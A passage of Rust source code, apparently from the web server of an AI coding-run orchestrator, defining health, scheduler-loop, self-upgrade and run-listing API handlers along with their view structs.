2754 free_bytes: capacity.free_bytes,
2755 runs_bytes: capacity.runs_bytes,
2756 worktrees_bytes: capacity.worktrees_bytes,
2757 cache_bytes: capacity.cache_bytes,
2758 retention: ui
2759 .runs
2760 .parent()
2761 .and_then(|home| std::fs::read(home.join("retention.json")).ok())
2762 .and_then(|bytes| serde_json::from_slice(&bytes).ok()),
2763 }
2764 }
2765}
2766
2767#[derive(Debug, Serialize)]
2769struct DaemonView {
2770 running: bool,
2771 idle: Option<bool>,
2772 pid: Option<u32>,
2773 current: Vec<daemon::Current>,
2777 completed: Option<u64>,
2778 stale_for_secs: Option<i64>,
2779}
2780
2781impl DaemonView {
2782 fn of(status: Option<daemon::Reading>) -> Self {
2786 let Some(status) = status else {
2787 return Self {
2788 running: false,
2789 idle: None,
2790 pid: None,
2791 current: Vec::new(),
2792 completed: None,
2793 stale_for_secs: None,
2794 };
2795 };
2796 let now = Timestamp::now();
2797 let age = status.age_secs(now);
2798 Self {
2799 running: status.running(now),
2800 idle: Some(status.idle),
2801 pid: status.pid,
2802 current: status.current,
2803 completed: Some(status.completed),
2804 stale_for_secs: age,
2805 }
2806 }
2807}
2808
2809async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
2810 let revisions = ui.monitor.revisions(&ui).await?;
2811 blocking(move || {
2812 let reading = daemon::read_status(&ui.home);
2816 let loop_rev = ui.lock_loop().rev;
2820 let cfg = deputy_config(&ui.repo);
2823 let update = cached_update_view(cfg.as_ref());
2824 let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
2825 let questions = ui.questions.list();
2826 let jobs = crate::worker::active(&ui.home).map_err(ApiError::from)?;
2827 #[cfg(not(test))]
2828 let looping = ui.runtime_loop_view(reading.clone(), &jobs);
2829 #[cfg(test)]
2830 let looping = ui.loop_view(reading.clone());
2831 Ok(Json(HealthView {
2832 jobs: jobs.into_iter().map(WorkerView::from).collect(),
2833 version: env!("CARGO_PKG_VERSION"),
2834 home: ui.home.display().to_string(),
2835 queue_rev: revisions.0,
2836 runs_rev: revisions.1,
2837 questions_rev: revisions.2,
2838 talks_rev: revisions.3,
2839 notifications_rev: stamps_revision(
2840 &try_stamps(ui.notices.root(), false, true).map_err(anyhow::Error::from)?,
2841 ),
2842 notifications_unread: ui.notices.count_unread(),
2843 loop_rev,
2844 runs_unreadable: runs_unreadable(&ui.runs),
2845 questions_open: questions.iter().filter(|q| q.status.open()).count(),
2846 questions_needs_owner: questions
2847 .iter()
2848 .filter(|q| {
2849 q.status.open() && (!q.waiting_on_agent() || ui.questions.deputy_exhausted(q))
2850 })
2851 .count(),
2852 daemon: DaemonView::of(reading),
2853 looping,
2854 disk: DiskView::of(&ui, cfg.as_ref()),
2855 update,
2856 upgrade,
2857 upgrade_request_error: ui
2858 .upgrade_request_error
2859 .lock()
2860 .unwrap_or_else(PoisonError::into_inner)
2861 .clone(),
2862 }))
2863 })
2864 .await
2865}
2866
2867#[derive(Debug, Serialize)]
2869struct LoopView {
2870 running: bool,
2872 stopping: bool,
2874 parking: bool,
2876 owned: bool,
2878 repo: String,
2881 merge: Option<String>,
2884 last_error: Option<String>,
2892 daemon: DaemonView,
2895}
2896
2897#[derive(Debug, Clone, Copy)]
2902struct Foreign {
2903 pid: Option<u32>,
2905}
2906
2907impl Foreign {
2908 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
2911 if reading.is_some_and(|r| r.worker_protocol.unwrap_or_default() >= 1) {
2915 return None;
2916 }
2917 daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
2918 }
2919
2920 fn who(&self) -> String {
2923 match self.pid {
2924 Some(pid) => format!("another magi process (pid {pid})"),
2925 None => "another magi process".to_owned(),
2926 }
2927 }
2928}
2929
2930type UpgradeRunner = fn(PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
2935
2936#[cfg(test)]
2937type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
2938
2939#[cfg(test)]
2941fn launch_daemon(
2942 opts: daemon::Opts,
2943 stop: daemon::Stop,
2944) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
2945 Box::pin(daemon::serve_until(opts, stop))
2946}
2947
2948#[derive(Debug, Default)]
2950struct LoopState {
2951 #[cfg(test)]
2953 live: Option<Live>,
2954 rev: u64,
2957 last_error: Option<String>,
2960}
2961
2962#[cfg(test)]
2964#[derive(Debug)]
2965struct Live {
2966 stop: daemon::Stop,
2968 handle: tokio::task::JoinHandle<()>,
2973 opts: daemon::Opts,
2977}
2978
2979#[cfg(test)]
2980impl Live {
2981 fn alive(&self) -> bool {
2983 !self.handle.is_finished()
2984 }
2985}
2986
2987fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
2994 state.lock().unwrap_or_else(PoisonError::into_inner)
2995}
2996
2997async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
2999 blocking(move || {
3000 let reading = daemon::read_status(&ui.home);
3001 #[cfg(not(test))]
3002 let view = ui.try_loop_view(reading)?;
3003 #[cfg(test)]
3004 let view = ui.loop_view(reading);
3005 Ok(Json(view))
3006 })
3007 .await
3008}
3009
3010#[derive(Debug, Deserialize)]
3016#[serde(deny_unknown_fields)]
3017struct LoopCommand {
3018 running: bool,
3019 #[serde(default)]
3029 park: bool,
3030}
3031
3032async fn loop_post(
3035 State(ui): State<Arc<Ui>>,
3036 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
3037) -> ApiResult<Json<LoopView>> {
3038 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3041 #[cfg(not(test))]
3042 {
3043 if body.running {
3044 ui.start_detached_loop().await?;
3045 } else {
3046 let foreign = Foreign::of(daemon::read_status(&ui.home).as_ref());
3047 ui.stop_loop(foreign, body.park)?;
3048 }
3049 Ok(Json(ui.try_loop_view(daemon::read_status(&ui.home))?))
3050 }
3051 #[cfg(test)]
3052 {
3053 blocking(move || {
3054 let reading = daemon::read_status(&ui.home);
3055 let foreign = Foreign::of(reading.as_ref());
3056 if body.running {
3057 ui.start_loop(foreign)?;
3058 } else {
3059 ui.stop_loop(foreign, body.park)?;
3060 }
3061 Ok(Json(ui.loop_view(reading)))
3062 })
3063 .await
3064 }
3065}
3066
3067#[derive(Debug, Serialize)]
3069struct UpgradeView {
3070 from: String,
3072 to: Option<String>,
3074 detail: String,
3076}
3077
3078fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
3081 progress.filter(|p| !p.stage.terminal())
3082}
3083
3084fn upgrade_retry_after(message: &str) -> Option<u64> {
3087 if !message.contains("GitHub") || !message.contains("rate limit") {
3088 return None;
3089 }
3090 if message.contains("retry now") {
3091 return Some(0);
3092 }
3093 let duration = message
3094 .split_once("resets in ")
3095 .or_else(|| message.split_once("retry after "))?
3096 .1
3097 .split_once(')')?
3098 .0;
3099 let mut rest = duration.trim();
3100 if rest.is_empty() {
3101 return None;
3102 }
3103 let mut total = 0u64;
3104 while !rest.is_empty() {
3105 let n = rest.find(|c: char| !c.is_ascii_digit())?;
3106 let amount: u64 = rest[..n].parse().ok()?;
3107 let scale = match rest[n..].chars().next()? {
3108 's' => 1,
3109 'm' => 60,
3110 'h' => 3600,
3111 'd' => 86400,
3112 _ => return None,
3113 };
3114 total = total.checked_add(amount.checked_mul(scale)?)?;
3115 rest = rest[n + 1..].trim_start();
3116 }
3117 Some(total)
3118}
3119
3120#[derive(Debug, Clone, Serialize)]
3121struct UpgradeRequestFailure {
3122 occurred_at: String,
3123 error: String,
3124 retry_after_secs: Option<u64>,
3125 retry_at: Option<u64>,
3127}
3128
3129impl UpgradeRequestFailure {
3130 fn new(error: String) -> Self {
3131 let retry_after_secs = upgrade_retry_after(&error);
3132 let now = std::time::SystemTime::now()
3133 .duration_since(std::time::UNIX_EPOCH)
3134 .unwrap_or_default()
3135 .as_secs();
3136 Self {
3137 occurred_at: jiff::Timestamp::now().to_string(),
3138 error,
3139 retry_after_secs,
3140 retry_at: retry_after_secs.and_then(|s| now.checked_add(s)),
3141 }
3142 }
3143}
3144
3145async fn upgrade_post(State(ui): State<Arc<Ui>>) -> Response {
3158 begin_upgrade(&ui, updater::UpgradeTrigger::Manual, None).await
3159}
3160
3161async fn begin_upgrade(
3162 ui: &Arc<Ui>,
3163 trigger: updater::UpgradeTrigger,
3164 latest: Option<kaishin::LatestRelease>,
3165) -> Response {
3166 let reading = daemon::read_status(&ui.home);
3167 if let Some(other) = Foreign::of(reading.as_ref()) {
3168 return ApiError::conflict(format!(
3169 "{} is a legacy scheduler without detached restart support. \
3170 Finish or explicitly park its work in the existing UI before \
3171 this first migration; independent schedulers do not need this.",
3172 other.who()
3173 ))
3174 .into_response();
3175 }
3176
3177 let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
3182 return ApiError::conflict("another request is already preparing an upgrade")
3183 .into_response();
3184 };
3185 if trigger == updater::UpgradeTrigger::Auto {
3188 let cfg = match Config::discover(&ui.repo, None) {
3189 Ok((cfg, _)) => cfg,
3190 Err(e) => {
3191 return ApiError::internal(format!("auto-upgrade config: {e:#}")).into_response();
3192 }
3193 };
3194 let Some(latest) = latest else {
3195 return StatusCode::NO_CONTENT.into_response();
3196 };
3197 let busy = ui.auto_upgrade_busy();
3198 let failed = ui
3199 .auto_failed_tag
3200 .lock()
3201 .unwrap_or_else(PoisonError::into_inner)
3202 .clone();
3203 let decision = auto_upgrade_decision(
3204 &cfg.update,
3205 updater::disabled_by_env(),
3206 ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst)
3207 || upgrade_in_motion(updater::read_progress(&ui.home).as_ref()).is_some(),
3208 busy,
3209 &latest.tag_name,
3210 failed.as_deref(),
3211 );
3212 if decision != AutoUpgradeDecision::Trigger {
3213 let reason = match decision {
3214 AutoUpgradeDecision::Wait => "busy; waiting for runs and chats to finish",
3215 AutoUpgradeDecision::Skip(reason) => reason,
3216 AutoUpgradeDecision::Trigger => unreachable!(),
3217 };
3218 updater::log_step(&ui.home, &format!("auto-upgrade: {reason}"));
3219 return StatusCode::NO_CONTENT.into_response();
3220 }
3221 ui.upgrade_spawned
3225 .store(true, std::sync::atomic::Ordering::SeqCst);
3226 if ui.auto_upgrade_busy() {
3227 ui.upgrade_spawned
3228 .store(false, std::sync::atomic::Ordering::SeqCst);
3229 updater::log_step(&ui.home, "auto-upgrade: work started; waiting for idle");
3230 return StatusCode::NO_CONTENT.into_response();
3231 }
3232 updater::log_step(&ui.home, "auto-upgrade: idle; beginning update and restart");
3233 return finish_upgrade_request(
3234 ui,
3235 upgrade_checked_for(
3236 ui,
3237 env!("CARGO_PKG_VERSION").into(),
3238 Ok(Some(latest)),
3239 trigger,
3240 ),
3241 );
3242 }
3243 finish_upgrade_request(ui, upgrade_prepare(ui).await)
3244}
3245
3246fn finish_upgrade_request(ui: &Ui, result: ApiResult<(StatusCode, Json<UpgradeView>)>) -> Response {
3247 match result {
3248 Ok(out) => {
3249 *ui.upgrade_request_error
3250 .lock()
3251 .unwrap_or_else(PoisonError::into_inner) = None;
3252 out.into_response()
3253 }
3254 Err(error) if error.status != StatusCode::CONFLICT => {
3255 let failure = UpgradeRequestFailure::new(error.message);
3256 *ui.upgrade_request_error
3257 .lock()
3258 .unwrap_or_else(PoisonError::into_inner) = Some(failure.clone());
3259 let mut response = (error.status, Json(&failure)).into_response();
3260 if let Some(value) = failure
3261 .retry_after_secs
3262 .and_then(|secs| secs.to_string().parse().ok())
3263 {
3264 response.headers_mut().insert("retry-after", value);
3265 }
3266 response
3267 }
3268 Err(error) => error.into_response(),
3269 }
3270}
3271
3272async fn upgrade_prepare(ui: &Arc<Ui>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3273 if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
3274 return Err(ApiError::conflict(
3275 "an upgrade is already in progress (this process started one and it \
3276 has not finished or failed yet)",
3277 ));
3278 }
3279 let recorded = updater::read_progress(&ui.home);
3280 if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
3281 return Err(ApiError::conflict(format!(
3282 "an upgrade is already in progress (stage: {}, {} -> {}). If it \
3283 stays stuck, restart the deck; on start it settles a stale record.",
3284 p.stage.as_str(),
3285 p.from,
3286 p.to.as_deref().unwrap_or("?"),
3287 )));
3288 }
3289
3290 if crate::updater::disabled_by_env() {
3296 return Ok((
3297 StatusCode::OK,
3298 Json(UpgradeView {
3299 from: env!("CARGO_PKG_VERSION").to_owned(),
3300 to: None,
3301 detail: format!(
3302 "Automatic updates are disabled by {}. Nothing was parked \
3303 and nothing restarted.",
3304 crate::updater::NO_AUTOUPDATE_ENV
3305 ),
3306 }),
3307 ));
3308 }
3309
3310 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
3313 let from = env!("CARGO_PKG_VERSION").to_owned();
3314 let latest = match crate::updater::Checker::new(&cfg.update) {
3315 Some(checker) => checker.newer_release().await,
3316 None => Ok(None),
3317 };
3318 upgrade_checked(ui, from, latest)
3319}
3320
3321fn upgrade_checked(
3322 ui: &Arc<Ui>,
3323 from: String,
3324 latest: anyhow::Result<Option<kaishin::LatestRelease>>,
3325) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3326 upgrade_checked_for(ui, from, latest, updater::UpgradeTrigger::Manual)
3327}
3328
3329fn upgrade_checked_for(
3330 ui: &Arc<Ui>,
3331 from: String,
3332 latest: anyhow::Result<Option<kaishin::LatestRelease>>,
3333 trigger: updater::UpgradeTrigger,
3334) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3335 let latest = latest.map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?;
3336 let Some(latest) = latest else {
3337 return Ok((
3338 StatusCode::OK,
3339 Json(UpgradeView {
3340 from,
3341 to: None,
3342 detail: "Already on the newest release. Nothing was parked \
3343 and nothing restarted."
3344 .to_owned(),
3345 }),
3346 ));
3347 };
3348
3349 let detail = "Downloading the release, then restarting web and scheduler. Active task and chat workers keep running on their started executable; nothing is parked.".to_owned();
3350
3351 let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
3355 progress.trigger = trigger;
3356 updater::write_progress_logged(&ui.home, &progress);
3357
3358 let home = ui.home.clone();
3359 ui.upgrade_spawned
3360 .store(true, std::sync::atomic::Ordering::SeqCst);
3361 let spawned = Arc::clone(&ui.upgrade_spawned);
3362 let runner = ui.upgrade_runner;
3363 let failed = ui.auto_failed_tag.clone();
3364 let tag = latest.tag_name.clone();
3365 tokio::spawn(async move {
3366 if let Err(e) = runner(home.clone()).await {
3367 if trigger == updater::UpgradeTrigger::Auto {
3368 *failed.lock().unwrap_or_else(PoisonError::into_inner) = Some(tag);
3369 }
3370 tracing::error!("the upgrade did not complete: {e:#}");
3371 let _ = updater::fail_progress(&home, &format!("{e:#}"));
3375 spawned.store(false, std::sync::atomic::Ordering::SeqCst);
3377 }
3378 });
3379
3380 Ok((
3381 StatusCode::ACCEPTED,
3382 Json(UpgradeView {
3383 from,
3384 to: Some(latest.tag_name),
3385 detail,
3386 }),
3387 ))
3388}
3389
3390async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
3395 crate::updater::run_self_update(true, false, true).await?;
3398 updater::log_step(&home, "binary replaced - recording the replaced stage");
3399 if let Some(mut progress) = updater::read_progress(&home) {
3400 progress.advance(updater::Stage::Replaced);
3401 updater::write_progress_logged(&home, &progress);
3402 }
3403 updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
3404 HANDOVER.notify_one();
3405 updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
3406 Ok(())
3407}
3408
3409#[derive(Debug, Serialize)]
3415struct RunSummary {
3416 id: String,
3417 short: String,
3418 status: String,
3419 done: bool,
3420 instruction: String,
3421 title: String,
3422 repo: String,
3423 repo_name: String,
3424 created_at: String,
3425 updated_at: String,
3426 candidates: usize,
3427 viable: usize,
3428 judges: usize,
3429 winner: Option<char>,
3430 reviews: usize,
3431 quota_losses: usize,
3432 event: Option<String>,
3433 superseded_by: Option<String>,
3438 waiting: bool,
3445 live: crate::run::Liveness,
3449 pr: Option<crate::run::PrRecord>,
3451 unmerged_by_design: bool,
3457 #[serde(default)]
3460 display_status: String,
3461 #[serde(default)]
3464 badge_status: String,
3465 origin_label: String,
3468}
3469
3470impl RunSummary {
3471 fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
3472 Self {
3473 id: state.id.clone(),
3474 short: state.short().to_owned(),
3475 status: status_word(state.status),
3476 done: state.status.done(),
3477 unmerged_by_design: state.unmerged_by_design(),
3478 display_status: run_display_status(state, waiting, live),
3479 badge_status: run_display_status(state, waiting, live),
3480 instruction: state.instruction.clone(),
3481 title: title_from(&state.instruction, TITLE_MAX),
3482 repo: state.repo.display().to_string(),
3483 repo_name: state
3484 .repo
3485 .file_name()
3486 .map(|n| n.to_string_lossy().into_owned())
3487 .unwrap_or_default(),
3488 created_at: state.created_at.to_string(),
3489 updated_at: state.updated_at.to_string(),
3490 candidates: state.candidates.len(),
3491 viable: state.viable().len(),
3492 judges: state.config.graph.judges,
3493 winner: state.winner().map(|c| c.label),
3494 reviews: state.reviews.len(),
3495 quota_losses: state.quota.len(),
3496 event: state.events.last().map(|e| e.message.clone()),
3497 waiting,
3498 live,
3499 superseded_by: None,
3502 pr: state.pr.clone(),
3503 origin_label: crate::run::origin_label(state.origin.as_ref()),
3504 }
3505 }
3506}
3507
3508fn status_word(status: RunStatus) -> String {
3511 status.as_str().to_owned()
3515}
3516
3517fn run_display_status(state: &RunState, waiting: bool, live: crate::run::Liveness) -> String {
3523 if waiting {
3524 return "waiting".to_owned();
3525 }
3526 if state.unmerged_by_design() {
3527 return "unmerged".to_owned();
3528 }
3529 if !state.status.done() && live == crate::run::Liveness::Dead {
3530 if state.parked {
3533 return "parked".to_owned();
3534 }
3535 return "stale".to_owned();
3536 }
3537 status_word(state.status)
3538}
3539
3540fn run_badge_status(
3548 state: &RunState,
3549 display_status: &str,
3550 live: crate::run::Liveness,
3551 superseded: bool,
3552) -> String {
3553 if state.status.done() || live == crate::run::Liveness::Live {
3554 return display_status.to_owned();
3555 }
3556 if superseded {
3557 return "superseded".to_owned();
3558 }
3559 if live == crate::run::Liveness::Dead && !matches!(display_status, "parked" | "waiting") {
3563 return "stale".to_owned();
3564 }
3565 display_status.to_owned()
3566}
3567
3568#[derive(Debug, Deserialize)]
3570struct ListQuery {
3571 #[serde(default)]
3572 limit: Option<usize>,
3573 ids: Option<String>,
3575}
3576
3577impl ListQuery {
3578 fn contains(&self, id: &str) -> bool {
3579 self.ids
3580 .as_ref()
3581 .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
3582 }
3583}
3584
3585async fn runs_list(
3586 State(ui): State<Arc<Ui>>,
3587 Query(q): Query<ListQuery>,
3588) -> ApiResult<Json<Vec<RunSummary>>> {
3589 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
3590 blocking(move || {
3591 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
3592 let states = run_ids(&ui.runs)
3593 .into_iter()
3594 .filter_map(|id| read_run(&ui.runs, &id).ok())
3599 .take(limit)
3600 .filter(|run| q.contains(&run.id));
3601 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
3602 let summaries = summarize(
3603 states,
3604 &open_runs,
3605 &claimed,
3606 &superseded,
3607 |p| probe.borrow_mut().status(p),
3608 |p| probe.borrow_mut().started_at(p),
3609 );
3610 Ok(Json(summaries))
3611 })
3612 .await
3613}
3614
3615fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
3620 let open_runs: HashSet<String> = ui
3621 .questions
3622 .list()
3623 .into_iter()
3624 .filter(|q| q.status.open())
3625 .map(|q| q.run)
3626 .collect();
3627 let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3628 .into_iter()
3629 .map(|c| c.run)
3630 .collect();
3631 (open_runs, claimed, ui.queue.superseded())
3632}
3633
3634fn summarize<I, S, D>(
3640 states: I,
3641 open_runs: &HashSet<String>,
3642 claimed: &HashSet<String>,
3643 superseded: &HashMap<String, String>,
3644 mut status_q: S,
3645 mut identity_q: D,
3646) -> Vec<RunSummary>
3647where
3648 I: IntoIterator<Item = RunState>,
3649 S: FnMut(u32) -> Option<bool>,
3650 D: FnMut(u32) -> Option<String>,
3651{
3652 states
3653 .into_iter()
3654 .map(|state| {
3655 let waiting = open_runs.contains(&state.id);
3656 let live =
3657 state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
3658 let mut row = RunSummary::of(&state, waiting, live);
3659 row.superseded_by = state
3660 .pr_taken_over_by
3661 .as_ref()
3662 .or_else(|| superseded.get(&state.id))
3663 .map(String::as_str)
3664 .map(crate::run::short_of)
3665 .map(str::to_owned);
3666 row.badge_status = run_badge_status(
3667 &state,
3668 &row.display_status,
3669 live,
3670 row.superseded_by.is_some(),
3671 );
3672 row
3673 })
3674 .collect()
3675}
3676
3677#[derive(Debug, Serialize)]
3684struct RunDetailView {
3685 stop_reason: Option<String>,
3686 #[serde(flatten)]
3687 state: RunState,
3688 instruction_md: Vec<md::Node>,
3689 #[serde(flatten)]
3693 prose_md: RunProseMd,
3694 live: crate::run::Liveness,
3709 unmerged_by_design: bool,
3714 #[serde(default)]
3716 waiting: bool,
3717 #[serde(default)]
3719 display_status: String,
3720 #[serde(default)]
3722 badge_status: String,
3723 done: bool,
3728 superseded_by: Option<String>,
3736 latest_attempt: Option<LatestAttempt>,
3750 task: Option<TaskRef>,
3753 origin_label: String,
3757 pass_views: Vec<PassView>,
3760}
3761
3762#[derive(Debug, Serialize)]
3764struct TaskRef {
3765 id: String,
3766 short: String,
3767 title: String,
3768 source_label: String,
3770 source_link: Option<SourceLink>,
3772 status: &'static str,
3774 attempts: usize,
3775 max_attempts: usize,
3776 is_latest: bool,
3778 latest: Option<RunBrief>,
3780 finished_by: Option<RunBrief>,
3782 closed_by_hand: bool,
3784}
3785
3786#[derive(Debug, PartialEq, Eq, Serialize)]
3788struct SourceLink {
3789 kind: &'static str,
3791 id: String,
3793 href: String,
3795}
3796
3797fn encode_segment(raw: &str) -> String {
3799 let mut out = String::with_capacity(raw.len());
3800 for b in raw.bytes() {
3801 if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
3802 out.push(b as char);
3803 } else {
3804 out.push_str(&format!("%{b:02X}"));
3805 }
3806 }
3807 out
3808}
3809
3810fn source_link(source: &Source) -> Option<SourceLink> {
3814 let Source::Agent { run, node } = source else {
3815 return None;
3816 };
3817 let (kind, route) = if node == crate::queue::CHAT_NODE {
3818 ("chat", "chat")
3819 } else {
3820 ("run", "runs")
3821 };
3822 Some(SourceLink {
3823 kind,
3824 id: run.clone(),
3825 href: id_links::page_href(route, run),
3826 })
3827}
3828
3829#[derive(Debug, Serialize, PartialEq)]
3831struct FollowUpParent {
3832 id: String,
3833 short: String,
3834 title: String,
3835 status: &'static str,
3837 href: String,
3838}
3839
3840#[derive(Debug, Serialize, PartialEq)]
3842struct FollowUpRun {
3843 id: String,
3844 short: String,
3845 status: Option<&'static str>,
3847 href: Option<String>,
3849}
3850
3851#[derive(Debug, Serialize, PartialEq)]
3854struct FollowUpOrigin {
3855 parent: Option<FollowUpParent>,
3857 run: FollowUpRun,
3858 pr: String,
3863 findings: Vec<String>,
3864 generation: u32,
3865}
3866
3867fn followup_origin(
3870 fu: &crate::queue::FollowUp,
3871 task: impl Fn(&str) -> Option<Task>,
3872 run: impl Fn(&str) -> Option<RunState>,
3873) -> FollowUpOrigin {
3874 let parent = fu
3875 .origin_task
3876 .as_deref()
3877 .and_then(task)
3878 .map(|t| FollowUpParent {
3879 short: t.short().to_owned(),
3880 href: format!("#/tasks/{}", encode_segment(&t.id)),
3881 status: t.status.as_str(),
3882 title: t.title,
3883 id: t.id,
3884 });
3885 let state = run(&fu.run);
3886 FollowUpOrigin {
3887 parent,
3888 run: FollowUpRun {
3889 short: run::short_of(&fu.run).to_owned(),
3890 status: state.as_ref().map(|s| s.status.as_str()),
3891 href: state
3892 .is_some()
3893 .then(|| format!("#/runs/{}", encode_segment(&fu.run))),
3894 id: fu.run.clone(),
3895 },
3896 pr: fu.pr.clone(),
3897 findings: fu.findings.clone(),
3898 generation: fu.generation,
3899 }
3900}
3901
3902#[derive(Debug, Serialize)]
3904struct RunBrief {
3905 id: String,
3906 short: String,
3907 status: Option<&'static str>,
3909 outcome: String,
3911 badge: Option<String>,
3913}
3914
3915fn task_outcome(
3918 task: &Task,
3919 this_run: &str,
3920 max_attempts: usize,
3921 read: impl Fn(&str) -> Option<RunState>,
3922) -> TaskRef {
3923 let max_attempts = task.effective_attempt_limit(max_attempts);
3924 let history = task_history(task, read);
3925 let brief = |h: &TaskRunView| RunBrief {
3926 id: h.id.clone(),
3927 short: h.short.clone(),
3928 status: h.status,
3929 outcome: h.exit.edge_label(h.status),
3930 badge: h.badge.clone(),
3931 };
3932 let is_latest = task.runs.last().is_none_or(|r| r == this_run);
3933 let latest = if is_latest {
3934 None
3935 } else {
3936 history.last().map(brief)
3937 };
3938 let done = task.status == TaskStatus::Done;
3939 let finished_by = done
3940 .then(|| {
3941 history
3942 .iter()
3943 .rev()
3944 .find(|h| {
3945 matches!(
3946 h.exit,
3947 RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
3948 )
3949 })
3950 .map(brief)
3951 })
3952 .flatten();
3953 TaskRef {
3954 short: task.short().to_owned(),
3955 title: task.title.clone(),
3956 id: task.id.clone(),
3957 source_label: task.source.label(),
3958 source_link: source_link(&task.source),
3959 status: task.status.as_str(),
3960 attempts: task.attempts,
3961 max_attempts,
3962 is_latest,
3963 latest,
3964 closed_by_hand: done && finished_by.is_none(),
3965 finished_by,
3966 }
3967}
3968
3969#[derive(Debug, Serialize)]
3971struct LatestAttempt {
3972 id: String,
3973 short: String,
3974 resolved: bool,
3985 status: RunStatus,
3988 done: bool,
3990}
3991
3992#[derive(Debug, Default, Serialize)]
3994struct RunProseMd {
3995 advice_md: Option<AdviceMd>,
3997 candidate_summaries_md: Vec<Vec<md::Node>>,
3999 reviews_md: Vec<RoundMd>,
4001}
4002
4003#[derive(Debug, Default, Serialize)]
4004struct AdviceMd {
4005 synthesis: Vec<md::Node>,
4006 approaches: Vec<Vec<md::Node>>,
4008}
4009
4010#[derive(Debug, Default, Serialize)]
4011struct RoundMd {
4012 reviewers: Vec<ReviewerMd>,
4014 reconsideration: Vec<Vec<md::Node>>,
4016 fix: Option<FixMd>,
4017}
4018
4019#[derive(Debug, Default, Serialize)]
4020struct ReviewerMd {
4021 summary: Vec<md::Node>,
4022 findings: Vec<Vec<md::Node>>,
4024}
4025
4026#[derive(Debug, Default, Serialize)]
4027struct FixMd {
4028 notes: Vec<md::Node>,
4029 rejected: Vec<Vec<md::Node>>,
4031}
4032
4033fn run_prose_md(state: &RunState) -> RunProseMd {
4035 let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
4036 RunProseMd {
4037 advice_md: state.advice.as_ref().map(|a| AdviceMd {
4038 synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
4039 approaches: a
4040 .records
4041 .iter()
4042 .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
4043 .collect(),
4044 }),
4045 candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
4046 reviews_md: state
4047 .reviews
4048 .iter()
4049 .map(|round| RoundMd {
4050 reviewers: round
4051 .reviews
4052 .iter()
4053 .map(|rec| ReviewerMd {
4054 summary: nodes(&rec.summary),
4055 findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
4056 })
4057 .collect(),
4058 reconsideration: round
4059 .reconsideration
4060 .iter()
4061 .map(|rv| nodes(&rv.reason))
4062 .collect(),
4063 fix: round.fix.as_ref().map(|fix| FixMd {
4064 notes: nodes(&fix.notes),
4065 rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
4066 }),
4067 })
4068 .collect(),
4069 }
4070}
4071
4072impl RunDetailView {
4073 fn of(
4074 state: RunState,
4075 waiting: bool,
4076 live: crate::run::Liveness,
4077 superseded_by: Option<String>,
4078 latest_attempt: Option<LatestAttempt>,
4079 task: Option<TaskRef>,
4080 ) -> Self {
4081 let display_status = run_display_status(&state, waiting, live);
4082 let stop_reason = crate::stop_reason::of(
4083 &state,
4084 latest_attempt.as_ref().map(|a| (a.id.as_str(), a.status)),
4085 );
4086 let badge_status = run_badge_status(&state, &display_status, live, superseded_by.is_some());
4087 Self {
4088 stop_reason,
4089 pass_views: state.passes.iter().map(|p| PassView::of(p, None)).collect(),
4090 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
4091 prose_md: run_prose_md(&state),
4092 origin_label: crate::run::origin_label(state.origin.as_ref()),
4093 live,
4094 unmerged_by_design: state.unmerged_by_design(),
4095 waiting,
4096 display_status,
4097 badge_status,
4098 done: state.status.done(),
4099 superseded_by,
4100 latest_attempt,
4101 task,
4102 state,
4103 }
4104 }
4105}
4106
4107async fn run_core(
4109 State(ui): State<Arc<Ui>>,
4110 Path(id): Path<String>,
4111) -> ApiResult<Json<RunDetailView>> {
4112 blocking(move || {
4113 let id = resolve_run(&ui.runs, &id)?;
4114 let state = read_run(&ui.runs, &id)?;
4115 Ok(Json(RunDetailView::of(
4116 state,
4117 false,
4118 crate::run::Liveness::Unknown,
4119 None,
4120 None,
4121 None,
4122 )))
4123 })
4124 .await
4125}
4126
4127async fn run_detail(
4128 State(ui): State<Arc<Ui>>,
